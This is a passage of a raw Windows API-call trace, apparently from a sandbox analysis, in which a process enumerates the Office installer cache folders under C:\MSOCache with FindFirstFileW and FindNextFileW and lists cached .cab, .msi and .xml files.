ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7522d0 [0053.951] FindNextFileW (in: hFindFile=0x7522d0, lpFindFileData=0x2caf420 | out: lpFindFileData=0x2caf420*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xa5cd3a40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5cd3a40, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0053.951] FindNextFileW (in: hFindFile=0x7522d0, lpFindFileData=0x2caf420 | out: lpFindFileData=0x2caf420*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xecdfa490, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xee38cbf0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee38cbf0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-0016-0409-1000-0000000FF1CE}-C", cAlternateFileName="{90140~3")) returned 1 [0053.951] GetProcessHeap () returned 0x730000 [0053.951] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x10000) returned 0x2ea2888 [0053.952] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\*", lpFindFileData=0x2caf198 | out: lpFindFileData=0x2caf198*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xecdfa490, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xee38cbf0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee38cbf0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x752310 [0053.952] FindNextFileW (in: hFindFile=0x752310, lpFindFileData=0x2caf198 | out: lpFindFileData=0x2caf198*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xecdfa490, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xee38cbf0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee38cbf0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0053.952] FindNextFileW (in: hFindFile=0x752310, lpFindFileData=0x2caf198 | out: lpFindFileData=0x2caf198*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x393df700, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x393df700, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xed035930, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x102fcbb, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExcelLR.cab", cAlternateFileName="")) returned 1 [0053.952] FindNextFileW (in: hFindFile=0x752310, lpFindFileData=0x2caf198 | out: lpFindFileData=0x2caf198*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xece1ee80, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x263e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExcelMUI.msi", cAlternateFileName="")) returned 1 [0053.953] FindNextFileW (in: hFindFile=0x752310, lpFindFileData=0x2caf198 | out: lpFindFileData=0x2caf198*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xecdfa490, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x61d, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExcelMUI.xml", cAlternateFileName="")) returned 1 [0053.953] FindNextFileW (in: hFindFile=0x752310, lpFindFileData=0x2caf198 | out: lpFindFileData=0x2caf198*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xee38cbf0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x8f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0053.953] FindNextFileW (in: hFindFile=0x752310, lpFindFileData=0x2caf198 | out: lpFindFileData=0x2caf198*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xee38cbf0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x8f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0053.953] FindClose (in: hFindFile=0x752310 | out: hFindFile=0x752310) returned 1 [0053.953] GetProcessHeap () returned 0x730000 [0053.953] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2ea2888 | out: hHeap=0x730000) returned 1 [0053.953] FindNextFileW (in: hFindFile=0x7522d0, lpFindFileData=0x2caf420 | out: lpFindFileData=0x2caf420*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe8729610, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xecdfa490, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xecdfa490, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-0018-0409-1000-0000000FF1CE}-C", cAlternateFileName="{90140~2")) returned 1 [0053.953] GetProcessHeap () returned 0x730000 [0053.953] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x10000) returned 0x2ea2888 [0053.953] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\*", lpFindFileData=0x2caf198 | out: lpFindFileData=0x2caf198*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe8729610, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xecdfa490, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xecdfa490, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x752310 [0053.954] FindNextFileW (in: hFindFile=0x752310, lpFindFileData=0x2caf198 | out: lpFindFileData=0x2caf198*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe8729610, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xecdfa490, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xecdfa490, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0053.954] FindNextFileW (in: hFindFile=0x752310, lpFindFileData=0x2caf198 | out: lpFindFileData=0x2caf198*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe874f770, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x263400, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPointMUI.msi", cAlternateFileName="POWERP~1.MSI")) returned 1 [0053.954] FindNextFileW (in: hFindFile=0x752310, lpFindFileData=0x2caf198 | out: lpFindFileData=0x2caf198*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4529b900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x4529b900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe8728670, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5aa, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPointMUI.xml", cAlternateFileName="POWERP~1.XML")) returned 1 [0053.954] FindNextFileW (in: hFindFile=0x752310, lpFindFileData=0x2caf198 | out: lpFindFileData=0x2caf198*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2d523500, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x2d523500, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe8b079d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x431a290, dwReserved0=0x0, dwReserved1=0x0, cFileName="PptLR.cab", cAlternateFileName="")) returned 1 [0053.954] FindNextFileW (in: hFindFile=0x752310, lpFindFileData=0x2caf198 | out: lpFindFileData=0x2caf198*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xecdfa490, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x75e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0053.955] FindNextFileW (in: hFindFile=0x752310, lpFindFileData=0x2caf198 | out: lpFindFileData=0x2caf198*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xecdfa490, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x75e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0053.955] FindClose (in: hFindFile=0x752310 | out: hFindFile=0x752310) returned 1 [0053.955] GetProcessHeap () returned 0x730000 [0053.956] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2ea2888 | out: hHeap=0x730000) returned 1 [0053.956] FindNextFileW (in: hFindFile=0x7522d0, lpFindFileData=0x2caf420 | out: lpFindFileData=0x2caf420*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfc3e6570, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfc8a9170, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-0019-0409-1000-0000000FF1CE}-C", cAlternateFileName="{9877A~1")) returned 1 [0053.956] GetProcessHeap () returned 0x730000 [0053.956] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x10000) returned 0x2ea2888 [0053.956] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\*", lpFindFileData=0x2caf198 | out: lpFindFileData=0x2caf198*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfc3e6570, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfc8a9170, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x752310 [0053.957] FindNextFileW (in: hFindFile=0x752310, lpFindFileData=0x2caf198 | out: lpFindFileData=0x2caf198*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfc3e6570, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfc8a9170, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0053.957] FindNextFileW (in: hFindFile=0x752310, lpFindFileData=0x2caf198 | out: lpFindFileData=0x2caf198*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc40b730, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x265c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="PublisherMUI.msi", cAlternateFileName="PUBLIS~1.MSI")) returned 1 [0053.957] FindNextFileW (in: hFindFile=0x752310, lpFindFileData=0x2caf198 | out: lpFindFileData=0x2caf198*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4529b900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x4529b900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc3e4630, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5aa, dwReserved0=0x0, dwReserved1=0x0, cFileName="PublisherMUI.xml", cAlternateFileName="PUBLIS~1.XML")) returned 1 [0053.957] FindNextFileW (in: hFindFile=0x752310, lpFindFileData=0x2caf198 | out: lpFindFileData=0x2caf198*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3cd17e00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3cd17e00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc47e320, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x97f3f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="PubLR.cab", cAlternateFileName="")) returned 1 [0053.957] FindNextFileW (in: hFindFile=0x752310, lpFindFileData=0x2caf198 | out: lpFindFileData=0x2caf198*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x648, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0053.957] FindNextFileW (in: hFindFile=0x752310, lpFindFileData=0x2caf198 | out: lpFindFileData=0x2caf198*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x648, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0053.957] FindClose (in: hFindFile=0x752310 | out: hFindFile=0x752310) returned 1 [0053.958] GetProcessHeap () returned 0x730000 [0053.958] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2ea2888 | out: hHeap=0x730000) returned 1 [0053.958] FindNextFileW (in: hFindFile=0x7522d0, lpFindFileData=0x2caf420 | out: lpFindFileData=0x2caf420*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xee829690, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf00dbad0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf00dbad0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-001A-0409-1000-0000000FF1CE}-C", cAlternateFileName="{9765F~1")) returned 1 [0053.958] GetProcessHeap () returned 0x730000 [0053.958] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x10000) returned 0x2ea2888 [0053.958] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\*", lpFindFileData=0x2caf198 | out: lpFindFileData=0x2caf198*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xee829690, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf00dbad0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf00dbad0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x752310 [0053.960] FindNextFileW (in: hFindFile=0x752310, lpFindFileData=0x2caf198 | out: lpFindFileData=0x2caf198*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xee829690, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf00dbad0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf00dbad0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0053.960] FindNextFileW (in: hFindFile=0x752310, lpFindFileData=0x2caf198 | out: lpFindFileData=0x2caf198*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3a6f2400, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3a6f2400, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xeebe0180, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xe21fcc, dwReserved0=0x0, dwReserved1=0x0, cFileName="OutlkLR.cab", cAlternateFileName="")) returned 1 [0053.960] FindNextFileW (in: hFindFile=0x752310, lpFindFileData=0x2caf198 | out: lpFindFileData=0x2caf198*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xee827f20, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x2bba00, dwReserved0=0x0, dwReserved1=0x0, cFileName="OutlookMUI.msi", cAlternateFileName="OUTLOO~1.MSI")) returned 1 [0053.960] FindNextFileW (in: hFindFile=0x752310, lpFindFileData=0x2caf198 | out: lpFindFileData=0x2caf198*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xee827f20, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xc72, dwReserved0=0x0, dwReserved1=0x0, cFileName="OutlookMUI.xml", cAlternateFileName="OUTLOO~1.XML")) returned 1 [0053.960] FindNextFileW (in: hFindFile=0x752310, lpFindFileData=0x2caf198 | out: lpFindFileData=0x2caf198*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf00db300, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x106f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0053.960] FindNextFileW (in: hFindFile=0x752310, lpFindFileData=0x2caf198 | out: lpFindFileData=0x2caf198*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf00db300, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x106f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0053.960] FindClose (in: hFindFile=0x752310 | out: hFindFile=0x752310) returned 1 [0053.961] GetProcessHeap () returned 0x730000 [0053.961] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2ea2888 | out: hHeap=0x730000) returned 1 [0053.961] FindNextFileW (in: hFindFile=0x7522d0, lpFindFileData=0x2caf420 | out: lpFindFileData=0x2caf420*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfc8a9170, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfe076d70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfe076d70, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-001B-0409-1000-0000000FF1CE}-C", cAlternateFileName="{94E50~1")) returned 1 [0053.961] GetProcessHeap () returned 0x730000 [0053.961] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x10000) returned 0x2ea2888 [0053.961] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\*", lpFindFileData=0x2caf198 | out: lpFindFileData=0x2caf198*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfc8a9170, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfe076d70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfe076d70, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x752310 [0053.983] FindNextFileW (in: hFindFile=0x752310, lpFindFileData=0x2caf198 | out: lpFindFileData=0x2caf198*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfc8a9170, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfe076d70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfe076d70, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0053.983] FindNextFileW (in: hFindFile=0x752310, lpFindFileData=0x2caf198 | out: lpFindFileData=0x2caf198*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfe076d70, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x978, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0053.984] FindNextFileW (in: hFindFile=0x752310, lpFindFileData=0x2caf198 | out: lpFindFileData=0x2caf198*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2fb48f00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x2fb48f00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc967850, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x29c6dbd, dwReserved0=0x0, dwReserved1=0x0, cFileName="WordLR.cab", cAlternateFileName="")) returned 1 [0053.984] FindNextFileW (in: hFindFile=0x752310, lpFindFileData=0x2caf198 | out: lpFindFileData=0x2caf198*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x267e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WordMUI.msi", cAlternateFileName="")) returned 1 [0053.984] FindNextFileW (in: hFindFile=0x752310, lpFindFileData=0x2caf198 | out: lpFindFileData=0x2caf198*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x708, dwReserved0=0x0, dwReserved1=0x0, cFileName="WordMUI.xml", cAlternateFileName="")) returned 1 [0053.984] FindNextFileW (in: hFindFile=0x752310, lpFindFileData=0x2caf198 | out: lpFindFileData=0x2caf198*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x708, dwReserved0=0x0, dwReserved1=0x0, cFileName="WordMUI.xml", cAlternateFileName="")) returned 0 [0053.984] FindClose (in: hFindFile=0x752310 | out: hFindFile=0x752310) returned 1 [0053.984] GetProcessHeap () returned 0x730000 [0053.984] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2ea2888 | out: hHeap=0x730000) returned 1 [0053.984] FindNextFileW (in: hFindFile=0x7522d0, lpFindFileData=0x2caf420 | out: lpFindFileData=0x2caf420*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xf00dbad0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf58c8770, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf58c8770, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-002C-0409-1000-0000000FF1CE}-C", cAlternateFileName="{92787~1")) returned 1 [0053.984] GetProcessHeap () returned 0x730000 [0053.984] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x10000) returned 0x2ea2888 [0053.984] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\*", lpFindFileData=0x2caf198 | out: lpFindFileData=0x2caf198*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xf00dbad0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf58c8770, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf58c8770, 